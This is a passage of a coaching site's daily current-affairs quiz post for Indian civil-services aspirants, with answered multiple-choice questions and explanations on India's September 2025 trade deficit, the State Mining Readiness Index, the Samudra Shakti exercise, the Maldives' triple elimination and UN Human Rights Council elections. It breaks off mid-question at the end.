{"id":2592,"date":"2025-10-18T08:24:31","date_gmt":"2025-10-18T08:24:31","guid":{"rendered":"https:\/\/iasquest.com\/?p=2592"},"modified":"2026-02-11T18:50:16","modified_gmt":"2026-02-11T18:50:16","slug":"daily-current-affairs-16-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-16-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 16-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. A rising trade deficit in India\u2019s Balance of Payments would most likely lead to which of the following consequences?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Reduce foreign exchange reserves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Depreciation of the domestic currency<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Decrease in the current account deficit<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Trade deficit widens 93% in Sept. as services slump<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>India\u2019s <strong>merchandise exports<\/strong> in September 2025 rose by <strong>~6.74 % year-on-year<\/strong> to <strong>USD 36.38 billion<\/strong>.<\/li>\n\n\n\n<li>Imports for the same month increased more sharply \u2014 by ~16.6 %, reaching <strong>USD 68.53 billion<\/strong>.<a href=\"https:\/\/www.business-standard.com\/economy\/news\/india-s-exports-up-at-6-74-in-september-trade-deficit-stood-at-32-1-bn-125101500744_1.html?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n\n\n\n<li>As a result, the <strong>trade deficit<\/strong> widened significantly to about <strong>USD 32.1 billion<\/strong> in September 2025.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"453\" height=\"340\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-26.jpg\" alt=\"\" class=\"wp-image-2595\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-26.jpg 453w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-26-300x225.jpg 300w\" sizes=\"auto, (max-width: 453px) 100vw, 453px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Trade Deficit:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Trade Deficit<\/strong> occurs when the <strong>value of a country\u2019s imports<\/strong> of goods and services <strong>exceeds<\/strong> the <strong>value of its exports<\/strong> during a given period.<\/li>\n\n\n\n<li>Formula: <strong>Trade Deficit = Imports \u2013 Exports<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Types<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>Merchandise (Goods) Trade Deficit<\/strong> \u2013 Difference between export and import of <strong>tangible goods<\/strong> only.<\/li>\n\n\n\n<li><strong>Current Account Deficit (CAD)<\/strong> \u2013 Includes goods + services + income + transfers. Trade deficit is a <strong>major component<\/strong> of CAD.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Causes of Trade Deficit in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li><strong>High import dependence<\/strong> \u2013 especially on crude oil, gold, electronics.<\/li>\n\n\n\n<li><strong>Low export diversification<\/strong> \u2013 concentrated in a few sectors.<\/li>\n\n\n\n<li><strong>Rising global commodity prices<\/strong> \u2013 increases import bill.<\/li>\n\n\n\n<li><strong>Strong domestic demand<\/strong> \u2013 boosts imports.<\/li>\n\n\n\n<li><strong>Weak global demand<\/strong> \u2013 limits export growth.<\/li>\n\n\n\n<li><strong>Currency depreciation<\/strong> \u2013 may not always improve exports due to import content in exports.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Implications<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Positive Aspects<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>Indicates strong <strong>domestic consumption and investment<\/strong>.<\/li>\n\n\n\n<li>Imports of <strong>capital goods and raw materials<\/strong> can boost future production capacity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Negative Aspects<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li><strong>Pressure on Current Account<\/strong> \u2192 widening CAD. <strong>Hence 3 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Depreciation of Rupee<\/strong> due to higher demand for foreign currency. <strong>Hence 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Inflationary pressures<\/strong> (imported inflation).<\/li>\n\n\n\n<li>May reduce <strong>foreign exchange reserves<\/strong> if financed unsustainably. <strong>Hence 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Policy Measures to Manage Trade Deficit<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>1. Export Promotion:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li><em>Production-Linked Incentive (PLI) schemes<\/em><\/li>\n\n\n\n<li><em>Remission of Duties and Taxes on Exported Products (RoDTEP)<\/em><\/li>\n\n\n\n<li><em>Make in India<\/em> and <em>India-Middle East-Europe Economic Corridor (IMEC)<\/em> initiatives<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>2. Import Substitution:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>Encouraging domestic manufacturing (e.g., electronics, solar modules, defence).<\/li>\n\n\n\n<li><em>Atmanirbhar Bharat<\/em> programs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>3. Diversification of Export Markets:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>FTAs (India\u2013UAE CEPA, India\u2013Australia ECTA, ongoing EU talks).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>4. Macroeconomic Stability:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Managing inflation and exchange rate through monetary\/fiscal policy.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. There has been a persistent deficit budget year after year. Which action\/actions of the following can be taken by the Government to reduce the deficit?<\/strong> <br><br>1. Reducing revenue expenditure <br>2. Introducing new welfare schemes <br>3. Rationalizing subsidies <br>4. Reducing import duty <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/Economy\/indias-exports-rise-in-september\/article70166719.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/Economy\/indias-exports-rise-in-september\/article70166719.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>2. With reference to the State Mining Readiness Index, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">I. The State Mining Readiness Index (SMRI) is a benchmarking tool introduced by the NITI Aayog.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">II. Madhya Pradesh was ranked first in the State Mining Readiness Index released by the Ministry of Mines.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(a) I only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(b) I and III\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(c) II only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Answer: (c) II only&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>In NEWS: <\/strong>Ministry of Mines releases State Mining Readiness Index and State Rankings<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>The State Mining Readiness Index (SMRI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>The State Mining Readiness Index (SMRI) is a benchmarking tool introduced by the Ministry of Mines, India, to evaluate how prepared and performance\u2011oriented states are in the mining sector (especially for non\u2011coal minerals). <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It is part of the reforms framework announced in Union Budget 2025\u201126, and linked to incentive schemes for states that undertake mining sector reforms.<\/li>\n\n\n\n<li>The SMRI is used as one component under the mining sector reforms incentive structure.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Structure, Indicators &amp; Categories in SMRI:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">The index covers multiple dimensions of state performance in the mining sector, such as:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>Auction performance \u2013 how efficiently and transparently states conduct auctions of mineral blocks.<\/li>\n\n\n\n<li>Early mine operationalization \u2013 the speed at which auctioned\/allocated blocks are converted into functional operations (i.e. producing mines).<\/li>\n\n\n\n<li>Thrust on exploration \u2013 efforts by the state (or in coordination with central agencies) to explore and map mineral resources (especially non\u2011coal minerals).<\/li>\n\n\n\n<li>Sustainable mining \u2013 incorporation of environmental safeguards, closure planning, rehabilitation, implementation of \u201cstar rating\u201d schemes, etc.<\/li>\n\n\n\n<li>Other supporting indicators may include regulatory environment, ease of doing mining business, institutional readiness, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Categorization of states:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>States are grouped into three categories (A, B, C) based on their mineral endowment (i.e. how richly endowed they are in minerals).<\/li>\n\n\n\n<li>Within each category, states are ranked relative to peers with similar endowment, so that states with scarce minerals are not unfairly disadvantaged compared to states with abundant mineral resources.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Recent Rankings under SMRI &amp; Incentive Scheme<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Category A (high mineral endowment):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">1. Madhya Pradesh <strong>Hence statement II is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">2. Rajasthan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">3. Gujarat<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Category B (moderate mineral endowment):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">1. Goa<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">2. Uttar Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">3. Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Category C (low mineral endowment):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">1. Punjab<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">2. Uttarakhand<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">3. Tripura<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">Under the incentive scheme linked to SMRI, the top 3 states in each category are eligible for rewards (financial incentives) for achieving high performance in the index.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. With reference to the management of minor minerals in India, consider the following statements:<\/strong> <br><br>1. Sand is a \u2018minor mineral\u2019 according to the prevailing law in the country. <br>2. State Governments have the power to grant mining leases of minor minerals, but the powers regarding the formation of rules related to the grant of minor minerals lie with the Central Government. <br>3. Stale Governments have the power to frame rules to prevent illegal mining of minor minerals. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 and 3 only<\/strong> <br>(b) 2 and 3 only <br>(c) 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2179742\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2179742<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>3. Which among the following is the Indo-Indonesian Joint Bilateral Maritime Exercise, recently seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(a) Samudra Shakti<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(b) Konkan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(c) Mitra Shakti<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(d) Indra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Answer: (a) Samudra Shakti<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>In NEWS: <\/strong>The Indian Navy is hosting the fifth edition of the Indo-Indonesian Joint Bilateral Maritime Exercise, &#8216;Samudra Shakti \u2013 2025&#8217;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>&#8216;Samudra Shakti \u2013 2025&#8217;:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Samudra Shakti \u2013 2025 is a bilateral naval exercise between the Indian Navy and the Indonesian Navy, conducted off the coast of Visakhapatnam. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>The Indian Navy was represented by INS Kavaratti, an anti-submarine warfare corvette, while the Indonesian Navy deployed KRI John Lie, a corvette equipped with a helicopter.<\/li>\n\n\n\n<li>The exercise was conducted in two phases &#8211; a harbour phase and a sea phase.<\/li>\n\n\n\n<li>During the harbour phase, both navies engaged in cross-deck visits, joint yoga sessions, sports events, and expert-level exchanges.<\/li>\n\n\n\n<li>In the sea phase, the navies undertook complex maritime operations including air defence drills, helicopter operations, weapon firing, and Visit, Board, Search, and Seizure (VBSS) exercises.<\/li>\n\n\n\n<li>The primary objective of Samudra Shakti \u2013 2025 is to enhance interoperability, maritime cooperation, and mutual understanding between India and Indonesia in the Indo-Pacific region.<\/li>\n\n\n\n<li>This exercise reflects the growing strategic partnership between the two nations and supports their shared commitment to maintaining security and stability in regional waters.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2179326\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2179326<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>4. Which country has been recognized by the World Health Organization (WHO) as the first in the world to achieve the triple elimination of mother-to-child transmission of HIV, syphilis, and hepatitis B?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) Sri Lanka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) Maldives<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) Bhutan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (b) Maldives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS:<\/strong> What India can learn from Maldives\u2019 parent-to-child triple elimination of diseases<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Lessons from Maldives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>The World Health Organization (WHO) has validated the Maldives for eliminating mother-to-child transmission (EMTCT) of hepatitis B, adding to its earlier validation for EMTCT of HIV and syphilis in 2019.<\/li>\n\n\n\n<li>This makes Maldives the first country in the world to achieve triple elimination of mother-to-child transmission of HIV, syphilis, and hepatitis B. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The achievement is credited to strong political will, sustained investment in maternal and child health, and universal health coverage guaranteeing free antenatal care, vaccines, and diagnostics for all residents, including migrants.<\/li>\n\n\n\n<li>Over 95% of pregnant women in Maldives receive antenatal care and are tested for HIV, syphilis, and hepatitis B. Newborns receive timely hepatitis B birth doses and full vaccine coverage.<\/li>\n\n\n\n<li>As a result, no babies were born with HIV or syphilis in 2022 and 2023, and a 2023 national survey found zero hepatitis B infections among young children.<\/li>\n\n\n\n<li>Maldives invests over 10% of its GDP in health, and the success reflects strong partnerships across government, private sector, civil society, and international organizations like WHO.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>HIV (Human Immunodeficiency Virus):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">A virus that attacks the body&#8217;s immune system, specifically the CD4 cells (T cells), making it harder for the body to fight infections and diseases. If untreated, HIV can lead to AIDS (Acquired Immunodeficiency Syndrome).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Syphilis:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">A sexually transmitted bacterial infection caused by Treponema pallidum. It progresses in stages and can cause serious health problems if left untreated, including damage to the heart, brain, and other organs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Hepatitis B:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">A viral infection that attacks the liver and can cause both acute and chronic liver disease. It spreads through contact with infected bodily fluids, such as blood or sexual contact, and can lead to liver cirrhosis or cancer if untreated.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><strong>Q. Consider the following diseases<\/strong> <br><br>1. Diphtheria <br>2. Chickenpox <br>3. Smallpox <br><br><strong>Which of the above diseases has\/have been eradicated in India?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 3 only<\/strong> <br>(c) 1, 2 and 3 <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"http:\/\/thehindu.com\/sci-tech\/health\/what-india-can-learn-from-maldives-mother-to-child-triple-elimination-of-diseases\/article70165799.ece\" target=\"_blank\" rel=\"noopener\"><strong>thehindu.com\/sci-tech\/health\/what-india-can-learn-from-maldives-mother-to-child-triple-elimination-of-diseases\/article70165799.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><a href=\"https:\/\/www.who.int\/news\/item\/13-10-2025-maldives-becomes-the-first-country-to-achieve-triple-elimination-of-mother-to-child-transmission-of-hiv-syphilis-and-hepatitis-b\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.who.int\/news\/item\/13-10-2025-maldives-becomes-the-first-country-to-achieve-triple-elimination-of-mother-to-child-transmission-of-hiv-syphilis-and-hepatitis-b<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>5. With respect to the elections to the UN Human Rights Council, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">I. Members once elected are not eligible for re-election.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">II. Members are elected by the UN General Assembly.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">III. A member state must secure an absolute majority of votes to be elected.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">IV. The membership is for a three-year term.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(a) II and IV only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(b) I, II and III\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(c) II, III and IV\u00a0\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(d) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Answer: (c) II, III and IV<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>In NEWS:<\/strong> India Elected Unopposed to UN Human Rights Council for 2026\u201328 Term<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>This marks India\u2019s fourth consecutive term as a member of the 47-member council, which is responsible for promoting and protecting human rights globally.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>UN Human Rights Council (UNHRC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>The UNHRC is an intergovernmental body within the United Nations responsible for promoting and protecting human rights worldwide.<\/li>\n\n\n\n<li>It has 47 member states, elected by the UN General Assembly.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>How are members elected?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Members are elected by the UN General Assembly for three-year terms. <strong>Hence statements II and IV are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Seats are distributed based on regional groups to ensure geographic representation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>African States<\/li>\n\n\n\n<li>Asia-Pacific States<\/li>\n\n\n\n<li>Eastern European States<\/li>\n\n\n\n<li>Latin American and Caribbean States<\/li>\n\n\n\n<li>Western European and Other States<\/li>\n\n\n\n<li>A member state must secure an absolute majority of votes in the General Assembly to be elected. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>Members are generally eligible for two consecutive terms, after which they must step down for at least one term before seeking re-election. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>Countries often campaign for seats years in advance.<\/li>\n\n\n\n<li>Sometimes, countries are elected unopposed if the number of candidates equals the number of available seats in their regional group.<\/li>\n\n\n\n<li>Once elected, member states participate in sessions, report on human rights situations, and vote on resolutions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Functions of UNHRC:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-118\">\n<li>Promote and protect human rights globally.<\/li>\n\n\n\n<li>Investigate and respond to human rights violations.<\/li>\n\n\n\n<li>Conduct Universal Periodic Reviews (UPR) of all UN member states.<\/li>\n\n\n\n<li>Issue resolutions and recommendations on human rights.<\/li>\n\n\n\n<li>Support special rapporteurs and expert groups on human rights issues.<\/li>\n\n\n\n<li>Facilitate international cooperation on human rights.<\/li>\n\n\n\n<li>Hold special sessions for urgent human rights crises.<\/li>\n\n\n\n<li>Promote implementation of international human rights treaties.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. Other than the Fundamental Rights, which of the following parts of the Constitution of India reflect\/reflects the principles and provisions of the Universal Declaration of Human Rights (1948)? (2020)<\/strong> <br><br>1. Preamble <br>2. Directive Principles of State Policy <br>3. Fundamental Duties <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 and 2 